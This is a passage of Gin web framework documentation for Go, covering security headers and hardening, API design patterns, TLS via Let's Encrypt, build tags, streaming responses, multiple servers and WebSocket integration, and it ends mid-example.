[Section titled “Use SecureJSON for JSONP protection”](#use-securejson-for-jsonp-protection)

Gin provides `c.SecureJSON` which prepends `while(1);` to prevent JSON hijacking.

```
c.SecureJSON(200, gin.H{"data": userInput})
```

### Set Content-Type explicitly when needed

[Section titled “Set Content-Type explicitly when needed”](#set-content-type-explicitly-when-needed)

```
// For API endpoints, always return JSON
c.Header("Content-Type", "application/json; charset=utf-8")
c.Header("X-Content-Type-Options", "nosniff")
```

The `X-Content-Type-Options: nosniff` header prevents browsers from MIME-type sniffing, which stops them from interpreting a response as HTML when the server declares it as something else.

## Security headers middleware

[Section titled “Security headers middleware”](#security-headers-middleware)

Adding security headers is one of the simplest and most effective hardening steps. See the full [Security Headers](/en/docs/middleware/security-headers/) page for a detailed example. Below is a quick summary of the essential headers.

```
func SecurityHeaders() gin.HandlerFunc {
  return func(c *gin.Context) {
    c.Header("X-Frame-Options", "DENY")
    c.Header("X-Content-Type-Options", "nosniff")
    c.Header("Strict-Transport-Security", "max-age=31536000; includeSubDomains")
    c.Header("Content-Security-Policy", "default-src 'self'")
    c.Header("Referrer-Policy", "strict-origin")
    c.Header("Permissions-Policy", "geolocation=(), camera=(), microphone=()")
    c.Next()
  }
}
```

| Header                            | What it prevents                                     |
| --------------------------------- | ---------------------------------------------------- |
| `X-Frame-Options: DENY`           | Clickjacking via iframes                             |
| `X-Content-Type-Options: nosniff` | MIME-type sniffing attacks                           |
| `Strict-Transport-Security`       | Protocol downgrade and cookie hijacking              |
| `Content-Security-Policy`         | XSS and data injection                               |
| `Referrer-Policy`                 | Leaking sensitive URL parameters to third parties    |
| `Permissions-Policy`              | Unauthorized use of browser APIs (camera, mic, etc.) |

## Trusted proxies

[Section titled “Trusted proxies”](#trusted-proxies)

When your application runs behind a reverse proxy or load balancer, you must tell Gin which proxies to trust. Without this configuration, attackers can forge the `X-Forwarded-For` header to bypass IP-based access controls and rate limiting.

```
// Trust only your known proxy addresses
router.SetTrustedProxies([]string{"10.0.0.1", "192.168.1.0/24"})
```

See the [Trusted Proxies](/en/docs/server-config/trusted-proxies/) page for a full explanation and configuration options.

## HTTPS and TLS

[Section titled “HTTPS and TLS”](#https-and-tls)

All production Gin applications should serve traffic over HTTPS. Gin supports automatic TLS certificates via Let’s Encrypt.

```
import "github.com/gin-gonic/autotls"


func main() {
  r := gin.Default()
  // ... routes ...
  log.Fatal(autotls.Run(r, "example.com"))
}
```

See the [Support Let’s Encrypt](/en/docs/server-config/support-lets-encrypt/) page for complete setup instructions including custom certificate managers.

## See also

[Section titled “See also”](#see-also)

* [Security Headers](/en/docs/middleware/security-headers/)
* [Trusted Proxies](/en/docs/server-config/trusted-proxies/)
* [Support Let’s Encrypt](/en/docs/server-config/support-lets-encrypt/)
* [Custom Middleware](/en/docs/middleware/custom-middleware/)
* [Binding and Validation](/en/docs/binding/binding-and-validation/)

----
url: https://gin-gonic.com/en/docs/server-config/http2-server-push/
----

[Skip to content](#_top)

# HTTP2 server push

> **Note:** HTTP/2 Server Push has been deprecated by major browsers (Chrome removed support in 2022). Consider using `103 Early Hints` or `<link rel="preload">` instead. This example is kept for reference.

http.Pusher is supported only **go1.8+**. See the [golang blog](https://blog.golang.org/h2push) for detail information.

```
package main


import (
  "html/template"
  "log"


  "github.com/gin-gonic/gin"
)


var html = template.Must(template.New("https").Parse(`
<html>
<head>
  <title>Https Test</title>
  <script src="/assets/app.js"></script>
</head>
<body>
  <h1 style="color:red;">Welcome, Ginner!</h1>
</body>
</html>
`))


func main() {
  router := gin.Default()
  router.Static("/assets", "./assets")
  router.SetHTMLTemplate(html)


  router.GET("/", func(c *gin.Context) {
    if pusher := c.Writer.Pusher(); pusher != nil {
      // use pusher.Push() to do server push
      if err := pusher.Push("/assets/app.js", nil); err != nil {
        log.Printf("Failed to push: %v", err)
      }
    }
    c.HTML(200, "https", gin.H{
      "status": "success",
    })
  })


  // Listen and Serve in https://127.0.0.1:8080
  router.RunTLS(":8080", "./testdata/server.pem", "./testdata/server.key")
}
```

----
url: https://gin-gonic.com/en/docs/routing/api-design/
----

[Skip to content](#_top)

# API Design Patterns

Building a RESTful API with Gin goes beyond defining routes. A well-designed API uses consistent response formats, predictable pagination, clear versioning, and structured error handling. This guide covers practical patterns you can apply to production Gin applications.

## Consistent response format

[Section titled “Consistent response format”](#consistent-response-format)

Wrapping every response in a standard envelope makes life easier for API consumers. They always know where to find data, errors, and metadata.

```
package main


import (
  "net/http"


  "github.com/gin-gonic/gin"
)


// Response is the standard API envelope.
type Response struct {
  Success bool        `json:"success"`
  Data    interface{} `json:"data,omitempty"`
  Error   *ErrorInfo  `json:"error,omitempty"`
  Meta    *Meta       `json:"meta,omitempty"`
}


type ErrorInfo struct {
  Code    string `json:"code"`
  Message string `json:"message"`
}


type Meta struct {
  Page       int `json:"page,omitempty"`
  PerPage    int `json:"per_page,omitempty"`
  Total      int `json:"total,omitempty"`
  TotalPages int `json:"total_pages,omitempty"`
}


// OK sends a success response.
func OK(c *gin.Context, data interface{}) {
  c.JSON(http.StatusOK, Response{
    Success: true,
    Data:    data,
  })
}


// Fail sends an error response.
func Fail(c *gin.Context, status int, code, message string) {
  c.JSON(status, Response{
    Success: false,
    Error:   &ErrorInfo{Code: code, Message: message},
  })
}


func main() {
  r := gin.Default()


  r.GET("/api/users/:id", func(c *gin.Context) {
    id := c.Param("id")
    // Simulate a lookup
    if id == "0" {
      Fail(c, http.StatusNotFound, "USER_NOT_FOUND", "no user with that ID")
      return
    }
    OK(c, gin.H{"id": id, "name": "Alice"})
  })


  r.Run(":8080")
}
```

## Pagination

[Section titled “Pagination”](#pagination)

### Limit/offset pagination

[Section titled “Limit/offset pagination”](#limitoffset-pagination)

Limit/offset is the simplest approach. It works well for small-to-medium datasets where the total row count is affordable to compute.

```
package main


import (
  "net/http"
  "strconv"


  "github.com/gin-gonic/gin"
)


func main() {
  r := gin.Default()


  r.GET("/api/articles", func(c *gin.Context) {
    limit, _ := strconv.Atoi(c.DefaultQuery("limit", "20"))
    offset, _ := strconv.Atoi(c.DefaultQuery("offset", "0"))


    if limit > 100 {
      limit = 100 // cap the page size
    }


    // articles, total := db.ListArticles(limit, offset)


    c.JSON(http.StatusOK, gin.H{
      "success": true,
      "data":    []gin.H{}, // articles
      "meta": gin.H{
        "limit":  limit,
        "offset": offset,
        "total":  0, // total
      },
    })
  })


  r.Run(":8080")
}
```

### Cursor-based pagination

[Section titled “Cursor-based pagination”](#cursor-based-pagination)

Cursor-based pagination avoids the performance problems of large offsets. Pass the last item’s ID (or another unique, sortable field) as the cursor.

```
package main


import (
  "net/http"
  "strconv"


  "github.com/gin-gonic/gin"
)


func main() {
  r := gin.Default()


  r.GET("/api/events", func(c *gin.Context) {
    cursor := c.Query("cursor") // e.g. last event ID
    limit, _ := strconv.Atoi(c.DefaultQuery("limit", "20"))


    if limit > 100 {
      limit = 100
    }


    // events, nextCursor := db.ListEvents(cursor, limit)
    _ = cursor


    c.JSON(http.StatusOK, gin.H{
      "success":     true,
      "data":        []gin.H{}, // events
      "next_cursor": "",        // nextCursor (empty string means no more pages)
    })
  })


  r.Run(":8080")
}
```

## Filtering and sorting

[Section titled “Filtering and sorting”](#filtering-and-sorting)

Accept filtering and sorting through query parameters. Keep the interface predictable by using consistent parameter names.

```
package main


import (
  "net/http"


  "github.com/gin-gonic/gin"
)


func main() {
  r := gin.Default()


  // GET /api/products?category=electronics&min_price=10&sort=price&order=asc
  r.GET("/api/products", func(c *gin.Context) {
    category := c.Query("category")
    minPrice := c.Query("min_price")
    maxPrice := c.Query("max_price")
    sortBy := c.DefaultQuery("sort", "created_at")
    order := c.DefaultQuery("order", "desc")


    // Validate the sort field against an allow-list to prevent injection.
    allowed := map[string]bool{"created_at": true, "price": true, "name": true}
    if !allowed[sortBy] {
      sortBy = "created_at"
    }
    if order != "asc" && order != "desc" {
      order = "desc"
    }


    // Build and execute your query using these filters...
    _ = category
    _ = minPrice
    _ = maxPrice


    c.JSON(http.StatusOK, gin.H{
      "success": true,
      "data":    []gin.H{},
      "filters": gin.H{
        "category":  category,
        "min_price": minPrice,
        "max_price": maxPrice,
        "sort":      sortBy,
        "order":     order,
      },
    })
  })


  r.Run(":8080")
}
```

## API versioning

[Section titled “API versioning”](#api-versioning)

### URL path versioning

[Section titled “URL path versioning”](#url-path-versioning)

URL path versioning is the most common strategy. It is explicit, easy to route, and simple to test with `curl`.

```
package main


import (
  "net/http"


  "github.com/gin-gonic/gin"
)


func main() {
  r := gin.Default()


  v1 := r.Group("/api/v1")
  {
    v1.GET("/users", func(c *gin.Context) {
      c.JSON(http.StatusOK, gin.H{"version": "v1", "users": []string{}})
    })
  }


  v2 := r.Group("/api/v2")
  {
    v2.GET("/users", func(c *gin.Context) {
      // v2 returns a different shape
      c.JSON(http.StatusOK, gin.H{
        "version": "v2",
        "data":    []gin.H{},
        "meta":    gin.H{"total": 0},
      })
    })
  }


  r.Run(":8080")
}
```

### Header-based versioning

[Section titled “Header-based versioning”](#header-based-versioning)

Header versioning keeps URLs clean but requires clients to set a custom header. A middleware can read the header and store the version in the context.

```
package main


import (
  "net/http"


  "github.com/gin-gonic/gin"
)


// VersionMiddleware reads the API version from the Accept-Version header.
func VersionMiddleware() gin.HandlerFunc {
  return func(c *gin.Context) {
    version := c.GetHeader("Accept-Version")
    if version == "" {
      version = "v1" // default
    }
    c.Set("api_version", version)
    c.Next()
  }
}


func main() {
  r := gin.Default()
  r.Use(VersionMiddleware())


  r.GET("/api/users", func(c *gin.Context) {
    version := c.GetString("api_version")


    switch version {
    case "v2":
      c.JSON(http.StatusOK, gin.H{"version": "v2", "data": []gin.H{}})
    default:
      c.JSON(http.StatusOK, gin.H{"version": "v1", "users": []string{}})
    }
  })


  r.Run(":8080")
}
```

## Error handling patterns

[Section titled “Error handling patterns”](#error-handling-patterns)

### Custom error types

[Section titled “Custom error types”](#custom-error-types)

Define application-level error types so handlers can return meaningful, structured errors.

```
package main


import (
  "errors"
  "net/http"


  "github.com/gin-gonic/gin"
)


// AppError represents a structured API error.
type AppError struct {
  Status  int    `json:"-"`
  Code    string `json:"code"`
  Message string `json:"message"`
}


func (e *AppError) Error() string {
  return e.Message
}


var (
  ErrNotFound     = &AppError{Status: 404, Code: "NOT_FOUND", Message: "resource not found"}
  ErrUnauthorized = &AppError{Status: 401, Code: "UNAUTHORIZED", Message: "authentication required"}
  ErrBadRequest   = &AppError{Status: 400, Code: "BAD_REQUEST", Message: "invalid request"}
)


// ErrorHandler is a middleware that catches errors set via c.Error().
func ErrorHandler() gin.HandlerFunc {
  return func(c *gin.Context) {
    c.Next()


    if len(c.Errors) == 0 {
      return
    }


    err := c.Errors.Last().Err
    var appErr *AppError
    if errors.As(err, &appErr) {
      c.JSON(appErr.Status, gin.H{
        "success": false,
        "error":   gin.H{"code": appErr.Code, "message": appErr.Message},
      })
    } else {
      c.JSON(http.StatusInternalServerError, gin.H{
        "success": false,
        "error":   gin.H{"code": "INTERNAL", "message": "an unexpected error occurred"},
      })
    }
  }
}


func main() {
  r := gin.Default()
  r.Use(ErrorHandler())


  r.GET("/api/items/:id", func(c *gin.Context) {
    id := c.Param("id")
    if id == "0" {
      _ = c.Error(ErrNotFound)
      return
    }
    c.JSON(http.StatusOK, gin.H{"success": true, "data": gin.H{"id": id}})
  })


  r.Run(":8080")
}
```

## Resource-based route organization

[Section titled “Resource-based route organization”](#resource-based-route-organization)

As your API grows, organize routes by resource. Each resource gets its own file with a function that registers routes on a `gin.RouterGroup`.

```
package main


import (
  "net/http"


  "github.com/gin-gonic/gin"
)


// RegisterUserRoutes sets up all /users endpoints.
func RegisterUserRoutes(rg *gin.RouterGroup) {
  users := rg.Group("/users")
  {
    users.GET("/", listUsers)
    users.POST("/", createUser)
    users.GET("/:id", getUser)
    users.PUT("/:id", updateUser)
    users.DELETE("/:id", deleteUser)
  }
}


// RegisterOrderRoutes sets up all /orders endpoints.
func RegisterOrderRoutes(rg *gin.RouterGroup) {
  orders := rg.Group("/orders")
  {
    orders.GET("/", listOrders)
    orders.POST("/", createOrder)
    orders.GET("/:id", getOrder)
  }
}


func listUsers(c *gin.Context)  { c.JSON(http.StatusOK, gin.H{"action": "list_users"}) }
func createUser(c *gin.Context) { c.JSON(http.StatusCreated, gin.H{"action": "create_user"}) }
func getUser(c *gin.Context)    { c.JSON(http.StatusOK, gin.H{"action": "get_user"}) }
func updateUser(c *gin.Context) { c.JSON(http.StatusOK, gin.H{"action": "update_user"}) }
func deleteUser(c *gin.Context) { c.Status(http.StatusNoContent) }


func listOrders(c *gin.Context)  { c.JSON(http.StatusOK, gin.H{"action": "list_orders"}) }
func createOrder(c *gin.Context) { c.JSON(http.StatusCreated, gin.H{"action": "create_order"}) }
func getOrder(c *gin.Context)    { c.JSON(http.StatusOK, gin.H{"action": "get_order"}) }


func main() {
  r := gin.Default()


  api := r.Group("/api/v1")
  RegisterUserRoutes(api)
  RegisterOrderRoutes(api)


  r.Run(":8080")
}
```

In a real project you would put `RegisterUserRoutes` in a `routes/users.go` file and `RegisterOrderRoutes` in `routes/orders.go`, then call both from `main.go`. This keeps each resource self-contained and makes it easy to add or remove resources without touching unrelated code.

----
url: https://gin-gonic.com/en/docs/server-config/support-lets-encrypt/
----

[Skip to content](#_top)

# Support Let's Encrypt

The [gin-gonic/autotls](https://github.com/gin-gonic/autotls) package provides automatic HTTPS via Let’s Encrypt. It handles certificate issuance and renewal automatically, so you can serve HTTPS with minimal configuration.

## Quick start

[Section titled “Quick start”](#quick-start)

The simplest way is to call `autotls.Run` with your router and one or more domain names:

```
package main


import (
  "log"


  "github.com/gin-gonic/autotls"
  "github.com/gin-gonic/gin"
)


func main() {
  router := gin.Default()


  router.GET("/ping", func(c *gin.Context) {
    c.String(200, "pong")
  })


  log.Fatal(autotls.Run(router, "example1.com", "example2.com"))
}
```

## Custom autocert manager

[Section titled “Custom autocert manager”](#custom-autocert-manager)

For more control — such as specifying a certificate cache directory or restricting allowed hostnames — use `autotls.RunWithManager` with a custom `autocert.Manager`:

```
package main


import (
  "log"


  "github.com/gin-gonic/autotls"
  "github.com/gin-gonic/gin"
  "golang.org/x/crypto/acme/autocert"
)


func main() {
  router := gin.Default()


  router.GET("/ping", func(c *gin.Context) {
    c.String(200, "pong")
  })


  m := autocert.Manager{
    Prompt:     autocert.AcceptTOS,
    HostPolicy: autocert.HostWhitelist("example1.com", "example2.com"),
    Cache:      autocert.DirCache("/var/www/.cache"),
  }


  log.Fatal(autotls.RunWithManager(router, &m))
}
```

## See also

[Section titled “See also”](#see-also)

* [Custom HTTP configuration](/en/docs/server-config/custom-http-config/)

----
url: https://gin-gonic.com/en/docs/build-tags/nomsgpack/
----

[Skip to content](#_top)

# Build without MsgPack

[MsgPack](https://msgpack.org/) (MessagePack) is a compact binary serialization format – think of it as a faster, smaller alternative to JSON. Gin includes MsgPack rendering and binding support by default, which means your application can accept and return MsgPack-encoded data out of the box using `c.Bind()` and `c.Render()` with the appropriate content type.

However, many applications only use JSON and never need MsgPack. In that case, the MsgPack dependency adds unnecessary weight to your compiled binary. You can strip it out with the `nomsgpack` build tag.

## Building without MsgPack

[Section titled “Building without MsgPack”](#building-without-msgpack)

Pass the `nomsgpack` tag to `go build`:

Terminal window

```
go build -tags=nomsgpack .
```

This also works with other Go commands:

Terminal window

```
go run -tags=nomsgpack .
go test -tags=nomsgpack ./...
```

## What changes

[Section titled “What changes”](#what-changes)

When you build with `nomsgpack`, Gin excludes the MsgPack rendering and binding code at compile time. This has a few practical effects:

* The compiled binary is smaller because the MsgPack serialization library is not linked in.
* Any handler that attempts to render or bind MsgPack data will no longer work. If you use `c.ProtoBuf()` or other non-MsgPack renderers, those are unaffected.
* All JSON, XML, YAML, TOML, and ProtoBuf features continue to work normally.

## Verifying the result

[Section titled “Verifying the result”](#verifying-the-result)

You can confirm the binary size reduction by comparing builds:

Terminal window

```
# Standard build
go build -o gin-app .
ls -lh gin-app


# Build without MsgPack
go build -tags=nomsgpack -o gin-app-nomsgpack .
ls -lh gin-app-nomsgpack
```

The exact savings depend on your application, but removing MsgPack typically shaves a small amount off the final binary. For more background, see the [original pull request](https://github.com/gin-gonic/gin/pull/1852).

----
url: https://gin-gonic.com/en/docs/rendering/serving-data-from-reader/
----

[Skip to content](#_top)

# Serving data from reader

`DataFromReader` lets you stream data from any `io.Reader` directly to the HTTP response without buffering the entire content in memory first. This is essential for building proxy endpoints or serving large files from remote sources efficiently.

**Common use cases:**

* **Proxying remote resources** — Fetching a file from an external service (such as a cloud storage API or CDN) and forwarding it to the client. The data flows through your server without being fully loaded into memory.
* **Serving generated content** — Streaming dynamically generated data (such as CSV exports or report files) as it is produced.
* **Large file downloads** — Serving files that are too large to hold in memory, by reading them in chunks from disk or from a remote source.

The method signature is `c.DataFromReader(code, contentLength, contentType, reader, extraHeaders)`. You provide the HTTP status code, the content length (so the client knows the total size), the MIME type, the `io.Reader` to stream from, and an optional map of extra response headers (such as `Content-Disposition` for file downloads).

```
package main


import (
  "net/http"


  "github.com/gin-gonic/gin"
)


func main() {
  router := gin.Default()
  router.GET("/someDataFromReader", func(c *gin.Context) {
    response, err := http.Get("https://raw.githubusercontent.com/gin-gonic/logo/master/color.png")
    if err != nil || response.StatusCode != http.StatusOK {
      c.Status(http.StatusServiceUnavailable)
      return
    }


    reader := response.Body
    contentLength := response.ContentLength
    contentType := response.Header.Get("Content-Type")


    extraHeaders := map[string]string{
      "Content-Disposition": `attachment; filename="gopher.png"`,
    }


    c.DataFromReader(http.StatusOK, contentLength, contentType, reader, extraHeaders)
  })
  router.Run(":8080")
}
```

In this example, Gin fetches an image from GitHub and streams it directly to the client as a downloadable attachment. The image bytes flow from the upstream HTTP response body through to the client response without being accumulated in a buffer. Note that `response.Body` is automatically closed by the HTTP server after the handler returns, since `DataFromReader` reads it to completion during the response write.

----
url: https://gin-gonic.com/en/docs/server-config/run-multiple-service/
----

[Skip to content](#_top)

# Run multiple service

You can run multiple Gin servers in the same process — each on a different port — by using `errgroup.Group` from the `golang.org/x/sync/errgroup` package. This is useful when you need to expose separate APIs (for example, a public API on port 8080 and an admin API on port 8081) without deploying separate binaries.

Each server gets its own router, middleware stack, and `http.Server` configuration.

```
package main


import (
  "log"
  "net/http"
  "time"


  "github.com/gin-gonic/gin"
  "golang.org/x/sync/errgroup"
)


var (
  g errgroup.Group
)


func router01() http.Handler {
  e := gin.New()
  e.Use(gin.Recovery())
  e.GET("/", func(c *gin.Context) {
    c.JSON(http.StatusOK, gin.H{
      "code":    http.StatusOK,
      "message": "Welcome server 01",
    })
  })


  return e
}


func router02() http.Handler {
  e := gin.New()
  e.Use(gin.Recovery())
  e.GET("/", func(c *gin.Context) {
    c.JSON(http.StatusOK, gin.H{
      "code":    http.StatusOK,
      "message": "Welcome server 02",
    })
  })


  return e
}


func main() {
  server01 := &http.Server{
    Addr:         ":8080",
    Handler:      router01(),
    ReadTimeout:  5 * time.Second,
    WriteTimeout: 10 * time.Second,
  }


  server02 := &http.Server{
    Addr:         ":8081",
    Handler:      router02(),
    ReadTimeout:  5 * time.Second,
    WriteTimeout: 10 * time.Second,
  }


  g.Go(func() error {
    return server01.ListenAndServe()
  })


  g.Go(func() error {
    return server02.ListenAndServe()
  })


  if err := g.Wait(); err != nil {
    log.Fatal(err)
  }
}
```

## Test it

[Section titled “Test it”](#test-it)

Terminal window

```
# Server 01 on port 8080
curl http://localhost:8080/
# Output: {"code":200,"message":"Welcome server 01"}


# Server 02 on port 8081
curl http://localhost:8081/
# Output: {"code":200,"message":"Welcome server 02"}
```

## See also

[Section titled “See also”](#see-also)

* [Custom HTTP configuration](/en/docs/server-config/custom-http-config/)
* [Graceful restart or stop](/en/docs/server-config/graceful-restart-or-stop/)

----
url: https://gin-gonic.com/en/docs/server-config/websocket/
----

[Skip to content](#_top)

# WebSocket Support

Gin does not include a built-in WebSocket implementation, but it integrates seamlessly with the [gorilla/websocket](https://github.com/gorilla/websocket) package. Because Gin handlers receive the underlying `http.ResponseWriter` and `*http.Request`, you can upgrade any Gin route to a WebSocket connection with minimal effort.

## Installation

[Section titled “Installation”](#installation)

Install the `gorilla/websocket` package:

Terminal window

```
go get github.com/gorilla/websocket
```

## Basic Echo Server

[Section titled “Basic Echo Server”](#basic-echo-server)

The simplest WebSocket server reads a message from the client and echoes it back. This is a good starting point for understanding the upgrade process.

```
package main


import (
  "log"
  "net/http"


  "github.com/gin-gonic/gin"
  "github.com/gorilla/websocket"
)


var upgrader = websocket.Upgrader{
  // Allow all origins for development; restrict this in production.
  CheckOrigin: func(r *http.Request) bool {
    return true
  },
}


func handleWebSocket(c *gin.Context) {
  conn, err := upgrader.Upgrade(c.Writer, c.Request, nil)
  if err != nil {
    log.Printf("WebSocket upgrade error: %v", err)
    return
  }
  defer conn.Close()


  for {
    messageType, message, err := conn.ReadMessage()
    if err != nil {
      log.Printf("Read error: %v", err)
      break
    }
    log.Printf("Received: %s", message)


    if err := conn.WriteMessage(messageType, message); err != nil {
      log.Printf("Write error: %v", err)
      break
    }
  }
}


func main() {
  router := gin.Default()
  router.GET("/ws", handleWebSocket)
  router.Run(":8080")
}
```

## Chat Broadcast Example

[Section titled “Chat Broadcast Example”](#chat-broadcast-example)

A more practical example: a simple chat server that broadcasts every incoming message to all connected clients.

```
package main


import (
  "log"
  "net/http"
  "sync"


  "github.com/gin-gonic/gin"
  "github.com/gorilla/websocket"
)


var upgrader = websocket.Upgrader{
  CheckOrigin: func(r *http.Request) bool {
    return true
  },
}


type Hub struct {
  mu      sync.RWMutex
  clients map[*websocket.Conn]bool
}


func newHub() *Hub {
  return &Hub{
    clients: make(map[*websocket.Conn]bool),
  }
}


func (h *Hub) addClient(conn *websocket.Conn) {
  h.mu.Lock()
  defer h.mu.Unlock()
  h.clients[conn] = true
}


func (h *Hub) removeClient(conn *websocket.Conn) {
  h.mu.Lock()
  defer h.mu.Unlock()
  delete(h.clients, conn)
  conn.Close()
}


func (h *Hub) broadcast(messageType int, message []byte) {
  h.mu.RLock()
  defer h.mu.RUnlock()
  for conn := range h.clients {
    if err := conn.WriteMessage(messageType, message); err != nil {
      log.Printf("Broadcast error: %v", err)
    }
  }
}


func main() {
  hub := newHub()
  router := gin.Default()


  router.GET("/ws", func(c *gin.Context) {
    conn, err := upgrader.Upgrade(c.Writer, c.Request, nil)
    if err != nil {
      log.Printf("Upgrade error: %v", err)
      return
    }
    hub.addClient(conn)
    defer hub.removeClient(conn)


    for {
      messageType, message, err := conn.ReadMessage()
      if err != nil {
        log.Printf("Read error: %v", err)
        break
      }
      hub.broadcast(messageType, message)
    }
  })


  router.Run(":8080")
}
```

> **Note:** The broadcast example above writes to multiple connections while holding a read lock. For production use, consider sending messages through a channel per client to avoid blocking the broadcast loop on a slow connection. See the [gorilla/websocket chat example](https://github.com/gorilla/websocket/tree/main/examples/chat) for a production-ready pattern.

## Connection Upgrade and Configuration

[Section titled “Connection Upgrade and Configuration”](#connection-upgrade-and-configuration)

The `websocket.Upgrader` controls how HTTP connections are upgraded to WebSocket. Key fields:

```
var upgrader = websocket.Upgrader{
  // ReadBufferSize and WriteBufferSize specify the I/O buffer sizes in bytes.
  // The default (4096) works for most use cases. Increase them for large messages.
  ReadBufferSize:  1024,
  WriteBufferSize: 1024,


  // CheckOrigin controls whether the request Origin header is acceptable.
  // By default it rejects cross-origin requests. Override it for CORS support.
  CheckOrigin: func(r *http.Request) bool {
    origin := r.Header.Get("Origin")
    return origin == "https://your-app.example.com"
  },


  // Subprotocols specifies the server's supported protocols in order of preference.
  Subprotocols: []string{"graphql-ws", "graphql-transport-ws"},
}
```

You can also set response headers during the upgrade:

```
func handleWebSocket(c *gin.Context) {
  responseHeader := http.Header{}
  responseHeader.Set("X-Custom-Header", "value")


  conn, err := upgrader.Upgrade(c.Writer, c.Request, responseHeader)
  if err != nil {
    log.Printf("Upgrade error: %v", err)
    return
  }
  defer conn.Close()
  // ...
}
```

## Best Practices

[Section titled “Best Practices”](#best-practices)

### Ping/Pong for Connection Health

[Section titled “Ping/Pong for Connection Health”](#pingpong-for-connection-health)

WebSocket connections can go stale silently. Use ping/pong frames to detect dead connections:

```
import "time"


const (
  pongWait   = 60 * time.Second
  pingPeriod = (pongWait * 9) / 10 // must be less than pongWait
)


func handleWebSocket(c *gin.Context) {
  conn, err := upgrader.Upgrade(c.Writer, c.Request, nil)
  if err != nil {
    return
  }
  defer conn.Close()


  conn.SetReadDeadline(time.Now().Add(pongWait))
  conn.SetPongHandler(func(string) error {
    conn.SetReadDeadline(time.Now().Add(pongWait))
    return nil
  })


  // Start a goroutine to send pings.
  go func() {
    ticker := time.NewTicker(pingPeriod)
    defer ticker.Stop()
    for range ticker.C {
      if err := conn.WriteMessage(websocket.PingMessage, nil); err != nil {
        return
      }
    }
  }()


  // Read loop
  for {
    _, message, err := conn.ReadMessage()
    if err != nil {
      break
    }
    log.Printf("Received: %s", message)
  }
}
```

### Connection Cleanup

[Section titled “Connection Cleanup”](#connection-cleanup)

Always close connections and release resources when done:

* Use `defer conn.Close()` immediately after a successful upgrade.
* Remove connections from any shared data structures (such as the hub in the chat example) when the read loop exits.
* Set read and write deadlines to prevent goroutine leaks from idle connections.

### Concurrent Writes

[Section titled “Concurrent Writes”](#concurrent-writes)

The `gorilla/websocket` package does **not** support concurrent writes to a single connection. If multiple goroutines need to write, serialize access with one of these approaches:

* **Mutex:** Protect writes with a `sync.Mutex`.
* **Channel:** Funnel all outgoing messages through a single channel consumed by one writer goroutine.

The channel approach is generally preferred because it naturally handles back-pressure and keeps the writing logic in one place.

## Testing

[Section titled “Testing”](#testing)

### Using wscat

[Section titled “Using wscat”](#using-wscat)

[wscat](https://github.com/websockets/wscat) is a command-line WebSocket client. Install it with npm:

Terminal window

```
npm install -g wscat
```

Connect to your server:

Terminal window

```
wscat -c ws://localhost:8080/ws
```

Type a message and press Enter. The echo server will send it back.

### Using curl

[Section titled “Using curl”](#using-curl)

curl 7.86+ supports WebSocket. Send a message to the echo server:

Terminal window

```
curl --include \
  --no-buffer \
  --header "Connection: Upgrade" \
  --header "Upgrade: websocket" \
  --header "Sec-WebSocket-Version: 13" \
  --header "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  http://localhost:8080/ws
```

> For interactive testing, `wscat` is more convenient than curl because it handles the WebSocket framing protocol automatically.

## See Also

[Section titled “See Also”](#see-also)

* [gorilla/websocket documentation](https://pkg.go.dev/github.com/gorilla/websocket)
* [gorilla/websocket chat example](https://github.com/gorilla/websocket/tree/main/examples/chat) – production-ready chat with per-client write goroutines
* [RFC 6455 – The WebSocket Protocol](https://datatracker.ietf.org/doc/html/rfc6455)
* [Custom HTTP configuration](/docs/en/docs/server-config/custom-http-config/) – customizing the underlying HTTP server used with Gin

----
url: https://gin-gonic.com/en/docs/learning-resources/
----

[Skip to content](#_top)

# Learning Resources

## Official Resources

[Section titled “Official Resources”](#official-resources)

These are maintained by the Gin team and are the most authoritative sources of information.

* **[Gin GitHub Repository](https://github.com/gin-gonic/gin)** – Source code, issue tracker, and the latest release notes.
* **[Gin Examples Repository](https://github.com/gin-gonic/examples)** – A collection of self-contained example projects covering common use cases such as file uploads, graceful shutdown, JWT authentication, and more.
* **[Gin API Reference (pkg.go.dev)](https://pkg.go.dev/github.com/gin-gonic/gin)** – Auto-generated API documentation for every exported type and function.

## Go Language Resources

[Section titled “Go Language Resources”](#go-language-resources)

A solid understanding of Go itself will make working with Gin much easier.

* **[A Tour of Go](https://go.dev/tour/)** – The official interactive introduction to Go.
* **[Effective Go](https://go.dev/doc/effective_go)** – Best practices and idiomatic patterns for writing Go code.
* **[Go by Example](https://gobyexample.com/)** – Annotated example programs covering Go fundamentals.
* **[Go Standard Library Documentation](https://pkg.go.dev/std)** – Reference for every package in the standard library, including `net/http`, which Gin builds on.

## Tutorials and Articles

[Section titled “Tutorials and Articles”](#tutorials-and-articles)

Community-written guides that walk through building real applications with Gin.

* **[Building a RESTful API with Go and Gin (Go.dev)](https://go.dev/doc/tutorial/web-service-gin)** – An official Go tutorial that uses Gin to build a simple web service.
* **[Build a REST API with Go, Gin, and GORM (Digital Ocean)](https://www.digitalocean.com/community/tutorials/how-to-build-and-deploy-a-go-application)** – Covers project layout, database integration, and deployment.

## Interactive Learning Platforms

[Section titled “Interactive Learning Platforms”](#interactive-learning-platforms)

Looking to practice Gin concepts through hands-on exercises? Here are some community-driven learning resources:

### Go Interview Practice - Gin Challenges

[Section titled “Go Interview Practice - Gin Challenges”](#go-interview-practice---gin-challenges)

A comprehensive platform offering progressive Gin challenges that complement the official documentation:

#### What You'll Learn:

* Basic routing and HTTP methods
* Middleware implementation and patterns
* Request validation and error handling
* Authentication and security practices

#### See It In Action:

A brief introduction to the Go Interview Practice platform

[Explore Gin Challenges →](https://github.com/RezaSi/go-interview-practice)

\--

----
url: https://gin-gonic.com/en/docs/binding/bind-body-into-different-structs/
----

[Skip to content](#_top)

# Try to bind body into different structs

The standard binding methods like `c.ShouldBind` consume `c.Request.Body`, which is an `io.ReadCloser` — once read, it cannot be read again. This means you cannot call `c.ShouldBind` multiple times on the same request to try different struct shapes.

To solve this, use `c.ShouldBindBodyWith`. It reads the body once and stores it in the context, allowing subsequent bindings to reuse the cached body.

```
package main


import (
  "net/http"


  "github.com/gin-gonic/gin"
  "github.com/gin-gonic/gin/binding"
)


type formA struct {
  Foo string `json:"foo" xml:"foo" binding:"required"`
}


type formB struct {
  Bar string `json:"bar" xml:"bar" binding:"required"`
}


func main() {
  router := gin.Default()


  router.POST("/bind", func(c *gin.Context) {
    objA := formA{}
    objB := formB{}
    // This reads c.Request.Body and stores the result into the context.
    if errA := c.ShouldBindBodyWith(&objA, binding.JSON); errA == nil {
